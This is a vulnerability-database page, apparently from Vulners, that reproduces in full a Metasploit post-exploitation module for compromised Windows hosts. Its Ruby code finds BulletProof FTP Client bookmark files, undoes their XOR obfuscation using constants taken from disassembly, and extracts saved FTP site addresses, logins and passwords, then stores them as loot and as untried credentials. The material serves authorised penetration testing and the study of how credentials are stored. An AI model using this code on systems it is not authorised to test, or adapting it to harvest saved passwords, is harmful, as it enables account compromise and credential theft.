Lucene search
K

Windows Gather BulletProof FTP Client Saved Password Extraction

🗓️ 14 Jan 2013 12:50:10Reported by juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

Windows Gather BulletProof FTP Client Saved Password Extraction module, extracts credentials from BulletProof FTP Bookmarks files

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
        'Description' => %q{
          This module extracts information from BulletProof FTP Bookmarks files and store
          retrieved credentials in the database.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'juan vazquez'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )
  end

  class BookmarksParser

    # Array of entries found after parsing a Bookmarks File
    attr_accessor :entries

    def initialize(contents)
      @xor_key = nil
      @contents_bookmark = contents
      @entries = []
    end

    def parse_bookmarks
      if !parse_header
        return
      end

      until @contents_bookmark.empty?
        parse_entry
        @contents_bookmark.slice!(0, 25) # 25 null bytes between entries
      end
    end

    private

    def low_dword(value)
      return Rex::Text.pack_int64le(value).unpack('VV')[0]
    end

    def high_dword(value)
      return Rex::Text.pack_int64le(value).unpack('VV')[1]
    end

    def low_byte(value)
      return [value].pack('V').unpack('C*')[0]
    end

    def generate_xor_key
      # Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
      # .text:007B13C1                 mov     eax, 100h
      # ... later
      # .text:0040381F                 imul    edx, dword_7EF008[ebx], 8088405h
      # .text:00403829                 inc     edx
      # .text:0040382A                 mov     dword_7EF008[ebx], edx
      # .text:00403830                 mul     edx
      temp = @xor_key * 0x8088405
      temp = low_dword(temp)
      temp += 1
      @xor_key = temp
      result = temp * 0x100
      result = high_dword(result)
      result = low_byte(result)
      return result
    end

    def decrypt(encrypted)
      length = encrypted.unpack('C')[0]
      return '' if length.nil?

      @xor_key = length
      encrypted = encrypted[1..length]
      return '' if encrypted.length != length

      decrypted = ''
      encrypted.unpack('C*').each do |byte|
        key = generate_xor_key
        decrypted << [byte ^ key].pack('C')
      end
      return decrypted
    end

    def parse_object
      object_length = @contents_bookmark[0, 1].unpack('C')[0]
      object = @contents_bookmark[0, object_length + 1]
      @contents_bookmark.slice!(0, object_length + 1)
      content = decrypt(object)
      return content
    end

    def parse_entry
      site_name = parse_object
      site_address = parse_object
      login = parse_object
      remote_dir = parse_object
      local_dir = parse_object
      port = parse_object
      password = parse_object

      @entries << {
        site_name: site_name,
        site_address: site_address,
        login: login,
        remote_dir: remote_dir,
        local_dir: local_dir,
        port: port,
        password: password
      }
    end

    def parse_header
      signature = parse_object
      if !signature.eql?('BPSitelist')
        return false # Error!
      end

      unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
      return false unless unknown == "\x01\x00\x00\x00"

      return true
    end
  end

  def check_installation
    bullet_reg = 'HKCU\\SOFTWARE\\BulletProof Software'
    bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)

    return false if bullet_reg_ver.nil?

    bullet_reg_ver.each do |key|
      if key =~ /BulletProof FTP Client/
        return true
      end
    end
    return false
  end

  def get_bookmarks(path)
    bookmarks = []

    if !directory?(path)
      return bookmarks
    end

    session.fs.dir.foreach(path) do |entry|
      if directory?("#{path}\\#{entry}") && (entry != '.') && (entry != '..')
        bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
      elsif entry =~ (/bpftp.dat/) && file?("#{path}\\#{entry}")
        vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
        bookmarks << "#{path}\\#{entry}"
      end
    end
    return bookmarks
  end

  def check_bulletproof(user_dir)
    session.fs.dir.foreach(user_dir) do |directory|
      if directory =~ /BulletProof Software/
        vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
        return "#{user_dir}\\#{directory}" # "\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
      end
    end
    return nil
  end

  def report_findings(entries)
    entries.each do |entry|
      @credentials << [
        entry[:site_name],
        entry[:site_address],
        entry[:port],
        entry[:login],
        entry[:password],
        entry[:remote_dir],
        entry[:local_dir]
      ]

      service_data = {
        address: Rex::Socket.getaddress(entry[:site_address]),
        port: entry[:port],
        protocol: 'tcp',
        service_name: 'ftp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        username: entry[:login],
        private_data: entry[:password],
        private_type: :password
      }

      credential_core = create_credential(credential_data.merge(service_data))

      login_data = {
        core: credential_core,
        access_level: 'User',
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      create_credential_login(login_data.merge(service_data))
    end
  end

  def run
    print_status('Checking if BulletProof FTP Client is installed...')
    if !check_installation
      print_error("BulletProof FTP Client isn't installed")
      return
    end

    print_status('Searching BulletProof FTP Client Data directories...')
    # BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
    profiles = grab_user_profiles
    bullet_paths = []
    profiles.each do |user|
      next if user['LocalAppData'].nil?

      bulletproof_dir = check_bulletproof(user['LocalAppData'])
      bullet_paths << bulletproof_dir if bulletproof_dir
    end

    print_status('Searching BulletProof FTP Client installation directory...')
    # BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
    progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
    progfilesx86 = progfiles_env['ProgramFiles(X86)']
    if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/
      program_files = progfilesx86 # x64
    else
      program_files = progfiles_env['ProgramFiles'] # x86
    end

    session.fs.dir.foreach(program_files) do |dir|
      if dir =~ /BulletProof FTP Client/
        vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
        bullet_paths << "#{program_files}\\#{dir}"
      end
    end

    if bullet_paths.empty?
      print_error('BulletProof FTP Client directories not found.')
      return
    end

    print_status('Searching for BulletProof FTP Client Bookmarks files...')
    bookmarks = []
    bullet_paths.each do |path|
      bookmarks.concat(get_bookmarks(path))
    end
    if bookmarks.empty?
      print_error('BulletProof FTP Client Bookmarks files not found.')
      return
    end

    print_status('Searching for connections data on BulletProof FTP Client Bookmarks files...')
    entries = []
    bookmarks.each do |bookmark|
      p = BookmarksParser.new(read_file(bookmark))
      p.parse_bookmarks
      if !p.entries.empty?
        entries.concat(p.entries)
      else
        vprint_error("Entries not found on #{bookmark}")
      end
    end

    if entries.empty?
      print_error('BulletProof FTP Client Bookmarks not found.')
      return
    end

    # Report / Show findings
    @credentials = Rex::Text::Table.new(
      'Header' => 'BulletProof FTP Client Bookmarks',
      'Indent' => 1,
      'Columns' =>
        [
          'Site Name',
          'Site Address',
          'Port',
          'Login',
          'Password',
          'Remote Dir',
          'Local Dir'
        ]
    )

    report_findings(entries)
    results = @credentials.to_s

    print_line("\n" + results + "\n")

    if [email protected]?
      p = store_loot(
        'bulletproof.creds',
        'text/plain',
        session,
        @credentials.to_csv,
        'bulletproof.creds.csv',
        'BulletProof Credentials'
      )
      print_status("Data stored in: #{p}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation